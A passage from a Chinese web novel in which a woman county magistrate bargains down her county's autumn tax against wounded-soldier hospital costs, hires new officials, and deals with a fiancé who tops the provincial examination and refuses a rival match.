也没必要啊。 这段时间,顾从斯就差把咱们定亲吧挂在嘴边。 梅娘那边也格外期待。 被她跟顾家夫妇连番糊弄,才暂时搁置。 只是顾从斯越这样。 她越不敢在乡试前说实话。 三年一次的乡试。 明知道顾从斯大概率能考上。 若误了前程,顾家人能恨她入骨。 接下来这段时间,顾从斯闭门读书。 偶尔出来透透气,也是往衙门走。 期间南江县一百多符合要求的秀才们,排着队登记姓名,提前办路引。 得知衙门还补银子二两时,愈发高兴。 甚至还有外地秀才想要混补贴。 幸好顾教谕办事仔细,才没让他们骗到银子。 战乱虽过去一年,很多地方情况不好,穷秀才们日子更难。 一直到八月中旬,最后一批秀才,也就是以顾从斯为首的几人,从南江县离开。 顾从斯看看城门口,有同窗问道:“顾秀才在等谁?” 有知情人赶紧使眼色。 别问了。 顾从斯还能等谁。 顾教谕夫妇转移话题:“路上辛苦,不要吝啬吃喝,家里情况都好。” “已经托了府城的旧友,到时候住在他家即可,备考要紧。” 又说了片刻,顾夫人才依依不舍放人离开。 顾从斯迟迟不上马车。 车夫催促几声,他只好走上去,看着手里的书册,以及衙门二两银子,久久不说话。 秋闱。 他必会考上。 城门内,苏清远远看着马车离开,稍稍松口气。 秋闱结束,很多事也能有个定论。 苏清摇摇头,对小费书吏道:“回衙门。” 如今事情颇多,能在城内远送,已经是额外抽出时间了。 南江县秋粮已收,各村粮税纷纷上报。 罗主簿最近忙得厉害,看到苏县令回来,立刻道:“大人,粮税统计出来了,这是详细的账册。” 自从罗户房升为罗主簿,他得力手下小费书吏也成县令大人左右手,他便更忙了啊。 小妹赶紧端来茶水,罗主簿也不客气,一口喝完了继续道:“今年粮食收成不错,共交田税两千一百万斤。” “其中大半已经收上来,剩下的陆陆续续往县城运。” 比之去年,本地产量有所增加。 这也正常,那会刚从战乱阴霾走出来,现在过去一年,情况自然好。 苏清一边听汇报,一边看账册。 费开宇已经磨好墨,等她批复。 苏清却道:“要药材跟码头税收账册拿过来。” 罗主簿赶紧去找,还道:“大人,要赶紧找个新户房,不然真的忙不过来啊。” 刚开始兼任主簿跟户房时,他还挺高兴的。 两个要职! 时间长了才知道,这是真的吃不消。 求求了,快找人接手吧。 苏清笑:“我也想找人啊,这不是没有合适的。怎么看都是罗主簿你最厉害。” 倒是有当过差的老吏秀才过来应招。 但看了几个,全都心思颇多,不大合适。 罗主簿被夸得嘿嘿一笑,随后问道:“大人看这个做什么?” 苏清已经看到药材收益跟码头的税收,叹口气:“看看要给府衙交多少银子。” 罗主簿跟费开宇对视一眼。 忙昏头。 差点把这事忘了。 去年秋税那会,广乐府府衙没有主事的。 大家税收都胡乱交。 今年新知府到任,必然是新官上任三把火。 科举的火已经烧起来。 这秋税更为重要。 而广乐府十七个县里,他们南江县格外突出。 一则不仅恢复得好,还找到了新营生。 二则还是顺昌国第一位女县令,不用她做什么,都是众矢之的。 胡乱填报数字? 更是不可能。 府衙那些官员,看似闭目养神像佛爷。 但能做到如今的位置,估算地方收益,还是手拿把掐的。 有些经年老吏算盘一打,便能算得差不离。 在数字上耍花招,若不查就罢了。 认真起来,把去年税收也查了,让他们补交,更得不偿失。 如今这种情况,想要隐瞒,必会被抓个典型。 想要少交,只能寻个谁都拒绝不了的借口才成。 不过,还是先看看要交多少吧。 “田税要交一万两千六百万斤,按照如今市价,折银六万两上下。” “其他税收加起来,也有七千八百两。” 也就是说。 今年南江县要给府衙交税六万七千八百两?! 苏清一口气差点没提起来。 多少?! 让她一个小小的县。 交多少?! 罗主簿跟费开宇也算了又算。 数字无误。 近七万两白银。 说实话。 交税是义务。 但去年的府衙对他们南江县,并无帮助。 一定要说的话。 反而是前线将士们,对这里帮助最大。 好在苏清早有心理准备,此刻虽心疼。 却也有应对之法。 苏清把伤兵处的账簿拿出来。 南江县的税,她会如数交的。 但南江县的额外支出,还请府衙拨款! 其他的都可以放放。 照顾伤员的费用,府衙必然要报销吧?! 不然总兵大人肯定会追问吧。 从今年三月初开始,到现在八月中旬。 近六个月的时间里,南江县伤兵处,每日基本都有一千二百上下伤员。 照顾伤员所需的衣食住行,医护人手,伤药汤药。 随便罗列出来,都高得吓人。 甚至当时南江县衙门没钱付药材的银钱,也因垫付太多伤兵费用。 这还是军中所派周千户极尽节省的结果。 不然叶山鸣怎么暗自嘀咕,认为苏清把这部分银子停了,他们南江县难关立刻解除。 “五个半月,伤兵处共耗银子三万七千六百二十九两。”罗主簿道,“这还包括修缮了伤兵处的房屋,兼扩建新间,又垒了几个灶台。” “太省了。” 苏清点头。 她也是这么认为的。 除了必要支出之外,周千户他们能不花就不花,太省了。 甚至考虑到南江县的情况,一直把伤兵保持在一千二上下,估计也是怕拖累此地。 “以后不用这样省了。”苏清道,“周千户一直在发愁过冬问题,让他招募人手,把伤兵处房屋都修好,提前把冬被买好。 苏县令,罗主簿,小费书吏三个人埋头苦算。 得出最终的数字。 南江县今年税收共计六万七千八百两。 请求拨款三万七千六百二十九,这是南江县垫付的伤兵,三月到七月底所耗银两。 并请求预付,伤兵八月至十二月,所需两万八千六百两。 合计六万六千二百二十九两。 “这么看的话,咱们只要交一千五百七十一两税款即可。” 看完这个数字。 苏清都要夸自己一句税收天才。 “肯定不行的。”罗主簿直接道,“相差太多了。” 苏清点头:“没错,但你听说过一句话吗。” “想要开窗,先掀屋顶。” 罗主簿费开宇看过来。 费开宇琢磨了会:“大人,您的意思是,伤兵总支出为屋顶,已经垫付的为窗户?” 没错,苏清投给他一个赞许的目光。 罗主簿也反应过来,苏县令自然不会觉得府衙那么大方,直接把伤兵处所需所有银钱都拨给她。 苏县令愿意交的税款,就是总数的近七万,减去已经垫付的三千七千多。 也就是三万税金。 这银钱也不少了。 放在整个广乐府各县里,绝对属于拔尖那种。 苏清无奈:“这种事上,我不想拔尖啊。” 钱送到府衙,府衙留一部分,再送到京城进国库。 中间还能留下多少,她不清楚。 但在她南江县,可以实实在在修码头,修城墙,平物价,再把伤兵养的白白胖胖。 不是苏清多疑。 而是朝廷若真是个能做事的。 能放任广乐府这么久没有知府? 甚至后勤补给一直出问题? 苏清心里,早就打了无数个问号。 连着算了好几日的帐,终于整理出眉目。 苏清让武捕头派人,把南江县今年税收账册交上去,等府衙点头过后,就可以再派人送税收了。 差役们来往一趟大概率不成。 县衙跟府衙,多半要讨价还价。 八月十九出发。 头一回送去的税收账册,直接被打了回去。 你们南江县粮食丰收,药材卖得不错,还有码头税收。 最后只交一千五百多两?! 糊弄鬼呢。 第二回送的账册,杂七杂八加了不少支出。 依旧被打回来。 第三回,已经到八月二十六了。 差役们轮换着跑,都累得不行。 可大家知道,苏县令是为南江县好,加上给他们的补贴多,自然没什么怨言。 好在八月二十九这日。 广乐府府衙户司,终于点头同意。 南江县,三万零一百七十一两秋税。 确认无误,需尽快送到广乐府府衙。 南江县衙门众人长舒口气。 太好了。 折腾得太值了啊! 少交了三万多呢。 也就苏清笑,其实哪有少交。 这本就是给伤兵处花,那府衙本就该给他们。 费开宇经过这件事,眼睛亮的跟星星一般。 本就面容英俊的他,多了几分傻气,恨不得围着大人转圈。 太牛了! 县令大人! 真的太厉害了。 若是让他来,他怎么都不成的。 谁敢跟府衙讨价还价啊。 不是说官大一级压死人吗! 苏清见他眼神满是崇拜,心情也不错,笑着道:“南江县到底不同。” “在广乐府各县里,三万多已然不少了。” 更别说他们账目清晰,没有半点含糊。 即便送到京城,都有理可说。 苏清问道:“今日是八月二十九?” 费开宇立刻点头。 苏清算了算时间。 八月二十二,秋闱开始,三日考试,五日阅卷。 八月三十,也就是明日,秋闱放榜? 正要再问,就看到顾教谕夫妇携手来讨县衙废弃不用的纸张。 说是衙门有官气,烧了能保佑从斯考上状元。 当然不是要苏清用过的,是找找苏清她爹苏县令留下的物件。 平日这两位都躲着她走,为了他家儿子,也是难得。 看来确实是今日放榜无误了。 苏清这里肯定没有,让小妹去书房寻了几页过去,把人打发走。 费开宇看着,只觉得不高兴。 要说做官,小苏县令不差什么啊! 而此时广乐府府城。 贡院门前,围满看榜的考生。 但这跟苏清没什么关系。 南江县今年税款确认,赶紧把该交的交了,心里才能安定。 按照府衙的明细,以粮食,布匹,药材,现银,以不同数量运送过去。 衙门上上下下忙得不可开交。 九月初二,由龚典吏亲自押送至府城。 龚典吏做事,苏清很放心。 税收的事了结。 再看他们账册上的库银数目。 除了高兴之外,没别的可说啊。 他们这主要收入,就是田税,药材,码头三处。 所有物资折合银子,差不多八万三千两。 当然,这八万三千两,其中半数要留给伤兵处。 在府衙新一批拨款下来前,他们都要垫付。 剩下的一半,留下衙门各项花销跟应急外,还有两万可以动用。 这种时候,便是三班六房,以及官学最积极的时候了。 顾教谕虽然想离开,但还是要为县学争取充足的资金。 县学空置已久,赶紧招老师招学生啊。 对了,还要筹备明年的县试。 苏清对此并不含糊,她早就说过,县学九月要招生。 像弟弟苏澄,表弟苏溪,以及云喜刘小妹等,都要读书。 再有便是招收各村有天赋的孩童,皆入县学。 这下终于有人相信,苏清不是注重科举。 只是去年不合适而已。 苏清心道,我不是不注重科举,我是更注重读书。 这是两码事。 除此之外,还要扩建码头,至少增加两个船位。 正好利用这个时间,寻一个可以负责漕运司的主事。 新设的医学训科,立刻拨款培训专业医护。 医护增多,伤兵处才能容纳更多伤兵,缓解前线压力。 苏清手里的钱还没焐热,便开始盘算怎么花。 钱嘛,就是要花的。 捂到仓库里,也不能钱生钱啊。 对了,还要再建仓库。 码头附近仓库明显不够用。 算来算去,她怎么又变穷了。 这合理吗。 衙门各部愈发忙碌。 按照苏县令的吩咐一一做事。 不知哪个百姓说了句:“我们交的田税,原来用到实处了。” 是哦。 用在帮助伤兵。 用在修建码头,修建仓库。 还有培养医护上了。 件件都是好事啊。 若是这样,似乎也不错。 至少他们县令是在为百姓做事。 当地百姓如此,其他各县百姓更是羡慕。 他们都穷的要饿死了,他们那里的县令却不顾大家死活,一定要多收税,以此讨好新知府。 说什么,百姓又饿不死,不是留的有粮食吗。 听得他们想当叛军。 南江县百姓听到这种话,自然高兴。 没想到,还有一件事,也添了些喜气。 苏县令的未婚夫,考上举人了,还是今年乡试案首! 此时的衙门。 从府城来的报喜人满脸堆笑:“恭喜苏县令,贺喜苏县令,您未婚夫是今年的乡试案首!第一名!” 苏清一时不该说什么,只道:“说的可是顾举人?” “自然是他,真是一位俊美儿郎。” “府城不少豪门大户见他长得好,未婚配,都抢着榜下捉婿呢!” 衙门众人听着,苏清倒是有了兴趣:“捉到了吗?” “当然,府衙吏司主事抢在最前面。” “但是您放心,顾案首一口回绝,说他已经有爱慕的未婚妻!绝不可能娶第二人!” 报喜人说得绘声绘色,生怕大家听不到。 好在苏清这会没坐在公堂上,只是在院子里交代差事。 否则只会更尴尬。 苏清打断道:“先去县学报喜吧,他是本县顾教谕之子。” “云喜,带他过去。” 话音未落,顾教谕夫妇已经等不及了,他们听说有人从府城来报喜,便立刻找过来。 那报喜人赶紧把刚才的话重复一遍,继续道:“那吏司主事问说,婚事也可以再议,让他多多思量。” “顾案首却直言,既然定下,就绝无更改可能。” 别说顾教谕夫妇眼前一黑。 苏清何尝不是。 本以为考上举人之后,回来就把婚退了。 谁能想到还有榜下捉婿,他竟然还直接说自己有未婚妻。 “之后听南江县的考生说了,大家才知道,顾案首的未婚妻就是您,顺昌国第一位女县令!”报喜人觉得自己说的可好了,也就赶来的梅娘最高兴,给了不少赏钱。 但这件事一传开,便刹不住车。 无论苏清去做什么,都有人问啊。 就连一向沉默的叶家掌柜都多问几句,还问:“等顾举人回来,你们是不是就要定亲了。” 苏清连连摆手。 没有的事。 真没有。 事情闹到现在,估计等顾从斯回来。 他爹娘就会带着他跑路。 若不是顾教谕还在办县学的差事,大概率已经跑了。 想到这,苏清反而笑了,不把这些事放在心上。 今年秋闱彻底结束。 不仅案首的消息传回来,其他各家考生的好消息陆陆续续送到南江县。 让所有人意外的是。 战乱前名不见经传的南江县,在今年秋闱里,竟然收获颇丰。 各地一两千考生中,只取前八十人。 而他们南江县,竟然独占十六个,案首也在其中。 要知道广乐府除了还在打仗的三个县之外,算上府城,还有十四个地方。 他们南江县一地,就包揽这么多中榜举人。 放到任何地方,都堪称惊喜。 有人说,他们县今年上榜举人数字,甚至超过府学生员了。 以至于乡试名次出来后,不少人多次翻阅考生文章,想找南江县考生的漏洞。 结果自然不言而喻。 人家南江县考生,全是凭自己真本事考的! 苏清对此不算太意外。 一个地方的学业科举,跟当地经济情况,以及生活是否稳定,有很大关系。 对比其他地方,实属正常。 不是她太厉害,是其他地方太拉啊。 苏清这话要是说出来,估计会拉不少仇恨。 不过此刻苏清苏县令的名字,被更多人谈论。 他们县。 不,要是府城有这样的官员,那就好了啊! 能发展经济,能兴盛科举,还能帮百姓修桥铺路。 这样的县令谁不想要?! 费开宇眼神里的崇拜更多,他恨不得鞍前马后侍候县令大人! 能在大人身边当书吏,真是一种莫大的荣幸啊! 在他考秀才之前,谁都不能跟他抢! 县令未婚夫也不行!—— 作者有话说:明天会早点更新,爱你们! 第29章 九月上旬,南江县的好消息,一个接一个地过来。 各家举子回到县里,第一时间就是来衙门拜谢。 成为举人,就有做官的资格,堪称一步登天,所有人的感谢都是真心实意的。 不出去就罢了。 出去再回来,方知南江县县令,把他们保护的多好。 “其他县的秀才,大多疲于生计,哪有备考的环境。” “咱们县早早告知乡试情况,还贴了银钱,他们可没那么好运,有些人在乡试前几日才知道,匆匆借钱上路,能考上才奇怪。” “对啊,这次能考上,多亏县令主持有功。” 至于说什么,你们县令竟是个女子,这种话。 他们根本不在意。 男的女的又如何,在这世道,能办好差的,就是好官。 顾教谕夫妇也在等儿子回来。 但有同年道:“他是府案首,府学学政留他,估计会晚点回来。” 学政大人亲自留? 顾教谕眼睛亮了。 更让他们夫妇高兴的是,还有人小声道:“好像在说,想让顾案首在府学读书,那里有进士指导,对明年会试大有裨益。” 考上举人,后面便是进士了。 以顾从斯案首之才,迟早会考上进士的。 想来那学政也是看中他的潜力。 此话一出,顾教谕夫妇做梦都能笑醒,看到苏清时,甚至有了好脸色。 苏清挑眉,见顾教谕把重办县学以及明年县试的事做得不错,颇有些可惜。 可惜她也不能说,她对顾从斯没什么意思。 这话要是出来,估计这夫妇俩更不高兴。 苏清想了想道:“顾教谕留步。” 不等对方多想,她继续道:“新设的医学训科在招医护,白大夫跟好大夫没有招学生的经验。” “现在县学学生招的差不多了,若是有空,可否能去指点指点他们。” 顾教谕听说是此事,并不推辞:“这简单,属下一会便去。” 见苏清没有旁的差事,他才赶紧离开。 医学训科那里,招生确实有些困难。 不论男女,不论年纪,只要有心想学的,都能去报名。 但世人畏兵卒如猛虎,多半不愿意去照顾。 加上南江县百姓日子过得可以,稍有余力的,就去伺候药田了,招生极为艰难。 这事不能难解,反正来南江县讨生活的外地人不少,招他们即可。 但对白大夫他们来讲,便有些难以管理。 有顾教谕帮忙,事情会好办很多。 培训医护的事有着落了。 码头的漕运司,反而一直没有眉目。 管漕运码头的人,必要对船运情况,船只问题,以及来往客商打好交道。 说白了,这是一个需要些匪气,又识文断字的人。 但凡有这本事的,也不会来南江县啊。 对了,还有户房主事的人选,同样定不下来。 罗主簿都要急死了,再不招人,他真的要猝死了啊! 好在码头的扩建工作,进行的比较顺利。 工房江主事寻了隔壁和信县专门建造码头的工匠过来,甚至因为其他地方没差事,压了压工价,并督促快些赶工。 苏清都暗暗道,怎么比她还会指使人。 还好每日做的伙食还不错,抵消她心里的愧疚。 “码头预计在十一月初完工。”小费道,“还有您要的药田总数,现在是三万三千亩。” “街上新开了两家药局,想申请做药苗药种买卖,已经递到医学训科了,白大夫让我问问您的意见。” 小费一口气说完,都是苏县令的待办事项。 他这个书吏做得真不错啊!反正他是这么认为的! 苏清一一听了,找到对应的文书。 码头的事不用多操心,那新开的药局却不一样:“南江县齐家药铺能做现在的买卖,是因为防治疫病有功,让他们直接参与,自然不行。” “这样,他们想卖多少药苗,就要捐相应的伤药,给到伤兵疗养处。” “具体的比例,让白大夫郝大夫他们算一下。” 这既是给七家药局的交代,同样给改名“伤兵疗养处”一些方便。 战事面前,再多伤药都不算多。 这些文书处理完,就是药田的情况了。 上半年的药田虽经波折,好歹是有盈利的。 下半年自然不缺人种,甚至还有其他县的人过来,专门想做这个买卖。 但还是那句话,有多少药田,就要有更多粮田,已经相应比例的麻田。 不可本末倒置了。 衣食住行,哪个都不能缺。 苏清刚喝口茶,小费书吏迫不及待分享八卦,连刘小妹都凑过来听。 “大人,听说顾案首要留在府学读书了,真的假的?” 苏清压了压顾从斯寄给她的信。 假的。 他不想留在那。 现在暂时不回,是向府学进士夫子讨教,估计月底就回来。 但苏清只摇头,不想多回答。 即将去上学的小妹刘绿兰却道:“那他真的会娶府衙吏司主事的女儿吗?” 这事小孩都听说了。 何况其他人。 “对啊,主事女儿本来想让她爹别纠缠了,谁料看到顾案首,便立刻倒戈。”小费道,“没办法,顾案首确实俊美。” 苏清看了他们两个,好笑道:“你去办差,你去上学。” 哪有那么多八卦可说。 再者,顾从斯要是真成了好事,顾教谕夫妇会那么看着她吗? 而顾从斯的信里,说得极为明白。 似乎怕她多想,一直在说让她放心。 要说顾从斯那张脸,她确实喜欢。 不过就他家那情况,自己懒得自找麻烦。 更别说,叶山鸣虽多算计,但他有句话说的没错。 若两人成亲,她还能出来做官吗? 闲聊时间结束,苏清带着小费去码头转了一圈,随后又骑马去伤兵疗养处。 为什么换这个名字? 肯定是想告诉大家,在这里是疗伤休养的。 并不是冷冰冰的伤兵处。 这里的伙食伤药,在苏清参与下,明显提升不少。 重新修缮过的房屋,多了不少床位,还有整洁的被褥衣物。 甚至支起五口随时供应热水的锅。 若有紧急送来的伤兵将士,可以随时医治。 刚开始那会,周千户还怕苏县令不熟悉军营情况,作出不利养病的改动。 谁料县令随手几处改动,竟让效率提高许多。 苏清心道,这是肯定的。 现代对于后勤医疗的保障,早在几次绞肉战里形成最有效的组织。 她说的那几点,便是最基础的。 伤兵只要养伤就好。 其余的衣物换洗,紧急响应,物资储备,不需要他们操心。 之前县里没钱,现在终于能把水平提上来了。 没条件就算了,若手里有钱,还不对士兵好一些,她也太没良心了啊。 倒是周千户忙的团团转,很多东西他都要熟悉。 不过一旦上手,便不会出一丝差错。 苏清看了一圈,点头道:“周千户做事缜密,实在厉害。” 反正她是挑不出错的。 战地经验丰富的姥姥来了,估计都要夸一句这小伙子做事利落。 周千户挠头:“我到底是总兵手下,肯定不给他丢人。” 总兵? 那位二十岁的三皇子? 不对,是三皇子还是三王爷。 见四下无人,苏清终于能问出来了:“以后若是写信,该如何称呼?就怕犯了忌讳。” 周千户叹口气道:“就称总兵吧,大人他是皇上亲弟,按理说该喊三王爷,但陛下登基之后事情极多,还未封王爷,不好这么喊。” 怪不得,确实挺尴尬的。 苏清又问:“他去年领兵时才十九,却打了不少胜仗,军功在身,想来迟早会封的。” 周千户看了看苏清,苦笑道:“县令明白人,何必再说。” 就是有军功,才不敢封啊。 要知道如今的叛军,是皇上跟总兵的亲叔叔,也就是先皇的弟弟。 先皇的弟弟拥兵造反。 今上的弟弟带兵出征。 怎么看都十分敏感。 “幸好陛下一直信任总兵大人,是他力排众议,让大人领兵的。”周千户赶紧道。 听着里面的弯弯绕,苏清难得同情前线的总兵。 这人身份之尴尬,不亚于她啊。 回去的时候,苏清着重吩咐小费,今日的事不能外说。 她打听这些也不是为了八卦,了解周围情况,对办差有利。 小费赶紧道:“大人,我只同你说这些的,对别人绝对闭口不谈。” 那就好。 她也知道费开宇心里有数的。 苏清回到衙门,只见门口一个梳着随云鬓样式的女子,她衣着素雅,搭配得却不俗,身后还跟了个小丫鬟。 这女子在衙门前踱步,咬了咬牙道:“走吧,万一能行呢。” 见她拿着信函递到门房,开口道:“这位小哥,我是南江县本地人,是温安府原户司主事的女儿,自幼跟父亲读书看账,也在他病重时处理过户司公差。” “父亲病故,我们举家回乡,听闻衙门缺户房人手,小女子特来应招。” 换了其他县的门房,不等女子说完,只怕都要赶人了。 但南江县到底不同。 无论是苏县令,还是心肠极好的梅娘等人,都是衙门中流砥柱。 门房小子们自不敢怠慢,收了信道:“县令这会不在,等她回来,我们第一时间送过去。” 女子惊喜万分,紧紧握住小丫鬟的手,刚一扭头却看到笑着的苏县令。 门房赶紧跑过来递上信件。 小费接过后立刻拆了,双手递给苏清。 苏清看了内容,上面跟这女子口述的内容差不了太多。 里面还有她处理过公差,以及对户房的了解。 “邬杉月?”苏清道,“这会有时间吗,进衙门详谈。” 邬杉月立刻点头:“有,有的,见过县令大人。” 苏清走在前头,小费朝两人招手。 走啊,愣着干什么。 倘若有真本事,苏县令肯定会用你的—— 作者有话说:今天更的有点晚,二更送上! 第30章 邬家在南江县也算大户。 苏清当县令时的谢礼宴,就请了他家的人。 所以这家情况,苏清多少知道点。 在外做官的邬大人是这家的长房,自考中进士之后,一直带着妻女外放,很少回来。 家中祖业由两个弟弟操持,双方关系还不错。 没想到邬大人竟然病逝了。 不过他走之前,安排好后事,让妻子跟两个女儿回老家生活。 想着他做官当年,帮了家里许多,应该会善待她们。 只是长房没有儿子,又带着财物回来,难免被人觊觎。 既要给长嫂修禅房,还要给十八的侄女邬杉月安排婚事。 自母女三人八月份回来,绵里藏针的手段让她们苦不堪言。 邬杉月本来一筹莫展,忽然想到本地县令是女子。 再打听,他们在招人手。 一个是码头漕运司主事,另一个是户房主事。 这下,她哪能不心动。 倘若她能进县衙户房做事,必然能保护母亲跟妹妹。 故而鼓起勇气登门。 没想到她运气这般好,头一次来,便碰到县令大人了。 苏清进衙门的时候,已经让门房再去打听情况,确认邬杉月并未说谎。 而她信里的自我介绍,倒是很让人惊喜。 罗主簿来的时候,还将信将疑,看了信后:“若真如你所说,别说在户房做书吏了,做主事都合格的。” 邬杉月定定神:“父亲缠绵病榻多时,我帮着处理不少差事,都是如实写的。” 罗主簿看向县令大人,苏清道:“是户房招人,罗主簿做主吧。” 若换成男子,罗主簿估计会立刻把人留下试试。 但这是个女子。 这个念头刚起,罗主簿赶紧道:“先试试,只能从书吏做起,可好?” 自然好! 邬杉月点头道:“自是可以,那什么时候来做事?” 罗主簿犹豫片刻:“现在行吗?” 这么着急吗? 肯定啊! 他又要做主簿,还要管着户房,小费还跑到苏县令身边,他实在忙得厉害啊! 管她是谁,能办差即可! 邬杉月有些疑惑,见苏县令朝她点头,便答应下来。 她见南江县衙门里有不少扫洗端茶的,都是特招的妇人,没什么不方便的,这才让丫鬟去家里报信。 至于她,立刻开始办差。 户房另一个书吏带着她熟悉情况,并道:“如今九月中旬,我还有一个月就要回家备考,所以时间紧张。” 当初小费书吏跟他,都是备考县试的考生。 去年就不提了,今年他们肯定是要考试的,他可不像费开宇,说干到年底再备考。 他十月份就要回家,专心闭关读书啊。 刚到衙门第一日,邬杉月先是见了户房五个书吏,基本都是今年进来。 接着便开始熟悉南江县户房大事小情。 不看就算了。 看了方知罗主簿为何那样着急。 户房的事情太多了啊。 按理说秋收刚过,税也交完了,衙门应该清闲才是。 但那是普通衙门。 南江县却事情极多。 下半年的药材种植要管,随时巡查是否有人多种药,不种粮。 以及各村水源争端,码头税收问题,凡事预防为主,出事了必要追查到人。 还有佃户跟地主的官司,但凡涉及农田的,他们都要经手。 这还不算完,还有其他各部门的预算,所有账目一一核查。 伤兵疗养处,码头两个新船位,还有城墙修复。 邬杉月看的眼花缭乱,心道,怪不得都说南江县井井有条。 怪不得她爹说老家情况好些,让她们回来。 原来衙门事事都要操心。 而这些不过三班六房的户房而已。 管着所有事的苏县令,实在太厉害了。 邬杉月的能力很让罗主簿惊喜。 她自幼跟进士父亲读书识字,还处理过府衙的差事。 有这份经验,处理县衙差事不算困难,即使有问题,凭借她的聪明,也能找到解决之法。 空置几个月户房主事位置,终于有了人选。 只要她在年前不出什么大错,那明年年初,就能做正式的主事。 这倒不是区别对待,无论什么职位都要有个试用期。 户房主事确定了。 新设的医学训科也很顺利。 唯独漕运司主事空缺。 下面书吏们好寻,主事的真不好找。 一直到九月底,还是没有合适的人手。 不过九月三十这里,有一个人突然回来了。 顾从斯,如今的顾举人顾案首。 顾家夫妇自不用说,老泪纵横,看着明显削瘦了的儿子,心疼不已,甚至懒得去看知府学政给的各色赏赐。 顾从斯抬头看了看,又没看到想见的人,他这次不再沉默,直接问:“苏清呢。” “衙门事多。”顾教谕尴尬,“先回家,回家再说。” 为了转移注意力,顾教谕还看了看儿子带回来的秀才。 这秀才看着四十多了,皮肤黝黑,一脸愁容,不像是可以结交的人啊。 “这是?” 顾从斯道:“这次结交的好友,何怀何秀才。” “我先带他去衙门一趟,其他的回来再叙。” 顾夫人没法阻拦,只好接下行李先回家。 他们隐隐发觉,从斯好像不一样了。 去衙门路上,何怀还道:“顾案首为何比秋闱时,看着还要紧张?” 顾从斯勉强笑笑,本就俊美的脸庞因清减显得更加轮廓分明,他又不爱笑,更添几分神韵。 怪不得府城那么多女子心悦他。 可惜他心里,只有他未婚妻。 也就是何怀知道,他那未婚妻女县令,似乎并未给他回信。 甚至他们两人结交,也为了那未婚妻。 哎,好端端一个男儿,竟然磋磨成这般。 顾从斯进衙门,自然畅通无阻。 苏清听到消息时,还有些诧异,她知道知道顾从斯今日回来,没想到直接来了衙门? 那何怀在衙门厅堂等待,顾从斯去了书房,看着费开宇站在他之前的位置上,眼神暗了暗,开口道:“我带来一个人,对漕运司很熟悉。” 果然,苏清惊喜道:“谁?有何履历?” “他是广乐府籍贯,但从小在粤地海运码头附近长大,读书期间就在漕运跑腿。” “为了考乡试,三十三岁时举家搬回来,但多年不中举,便一直在府城商铺做账房。” “去年那店铺生意不好,便把他辞了,故而没有营生。” 在海运码头的漕运跑腿许多年,又了解商铺买卖。 今年四十三,还要养家糊口。 怎么看都是个合适的人选。 想来是顾从斯精挑细选的。 苏清难得感叹。 一边考试,还能一边找合适的主事。 这都能考上案首? 有点厉害啊。 见苏清高兴,顾从斯嘴角弯了弯:“可要见他?” “见。”苏清想了想道,“若用了他,那他家人呢?” “说过了,只要事情能成,一家七八口,都会搬到南江县。” 苏清放心了。 拖家带口过来,才算有诚意。 那何怀见到苏清立刻拜会,对这位女县令他也是久仰大名。 真正交谈时,何怀不得不感叹,能以女子身份坐到这位置的,确实有两把刷子。 再听到码头还在扩建时,他更高兴了。 在码头附近生活几十年的他,焉能不对船只码头有感情。 何怀这边也一样,暂时为代主事,试用到今年年底。 若做得好,明年正式任用。 而且也约定好,他的家人很快会接过来,衙门这边能安排便宜住房。 心头大事放下,苏清整个人轻松不少。 这下码头的事情,就有人专门管着了。 高兴过后,对上顾从斯的眼神,苏清又有点头疼。 果然,何怀被费开宇领着去码头,书房内就剩苏清跟顾从斯两人。 顾从斯第一时间道:“为何不给我回信。” 苏清倒是写了。 但想了想,还是没寄出去,故意开玩笑道:“字太丑,不好给顾案首看。” “对了,你刚回来,家人肯定担心,先回家吧。” 顾从斯并不动,还是盯着苏清,似乎想从她脸上找出答案。 比如榜下捉婿的事,她是何想法。 比如他迟迟不回南江县,她是否担心。 若他留在府学读书,她会如何想。 “这次回来,学政还在挽留,想让我留在府学读书。” “还说,能让我父亲在府学任职。” 好事啊。 苏清眉眼一动,话未说出口,却已十分明显。 “顾教谕知道,肯定高兴。”苏清道,“什么时候出发。” 顾从斯眼神变冷,心底的答案终于确定,起身道:“我拒绝了。” 也不知是不是为赌气,顾从斯扔下一句话就走:“我就是要留在南江县。” 看着对方摔门而出,苏清啧啧摇头:“未婚夫脾气有点差。” 幸好脸好看啊。 苏清本以为顾教谕知道这件事会非常生气。 毕竟顾家夫妇做梦都想离开南江县。 能在府学任职,可是大大的升官。 也不知顾从斯怎么劝的,顾教谕不再提辞职的事,继续办他的县学跟县试。 顾从斯则继续备考,明年四月份的会试更加重要,他绝不会懈怠。 在县学读书的云喜跟刘小妹倒知道怎么回事。 “顾哥哥说府学人际关系复杂,他爹应付不过来。” “还有,南江县今年出了不少举人,想来明年还能出不少秀才。顾哥哥劝教谕再留一年,更能攒政绩。” 这话是私下说的。 却没避讳云喜跟小妹。 想来,就是说给她听的? 反正那次私下谈话,苏清赞同顾从斯去府学备考之后,他就一直没好脸,遇到了也不少说。 顾从斯不同苏清说话,也不像信中那般,一直说提亲的事。 还有些躲着她的意思,不知是不是怕苏清提退亲。 但几乎日日都来找梅娘请安,还陪着说话,任谁看了,都夸一个女婿能顶半个儿。 苏清刚用了人家推荐的人,母亲又被侍奉的很好。 梅娘恨不得把顾从斯夸到天上。 她此刻提起退亲的事,会不会显得太白眼狼啊。 别的不讲,何怀确实好用。 他接手漕运司后,手底下又招了数十书吏,办事极为牢靠。 最近码头来往船只通畅很多,争端也少了。 梅娘一边安顿何漕运的家人,一边见缝插针夸顾从斯选人有眼光。 苏清耳朵都要起茧子了啊! 但她也知道。 梅娘是担心她。 毕竟天底下没有第二个女县令,也不知道女县令老了怎么办。 在梅娘看来,顾从斯是极好的依靠,而且他的喜欢,表现的又很明显。 至于那顾教谕夫妇。 梅娘是不怕的。 不管对方如何,她都笑眯眯的,对方又敬重她人品,不好多讲。 见母亲高兴,苏清只好把话咽到肚子里。 进到十月。 新设的漕运司跟医学训科都有进展,后者培训的医护,十月底就能上岗了。 到时候南江县伤兵疗养处,就可同时容纳照顾两千人上下。 江对岸的薛守备知道后,恨不得日日来询问进度。 还有下半年的伤药已经长出来的,年前能再收获一批。 吸取上半年的教训,消息提前放出去,肯定有合适的买家找过来的。 除此之外,苏清还在等另一个消息。 今年五月份那会,叶山鸣跑过来说,南江县会成为后勤中转地。 如今已经十月了。 怎么消息还没送到。 朝廷的效率,是不是太慢了。 对于这件事成与否,其实不用想太多。 前线附近的几个县,要么距离前线太近,随时会被波及,比如武寨县。 要么就是经济发展得不好,比如和信县。 唯独他们该有的都有。 甚至提前扩建码头做准备。 如果朝廷不选此地,那真的要怀疑他们的脑子了。 所以,就看命令什么时候下。 左等右等。 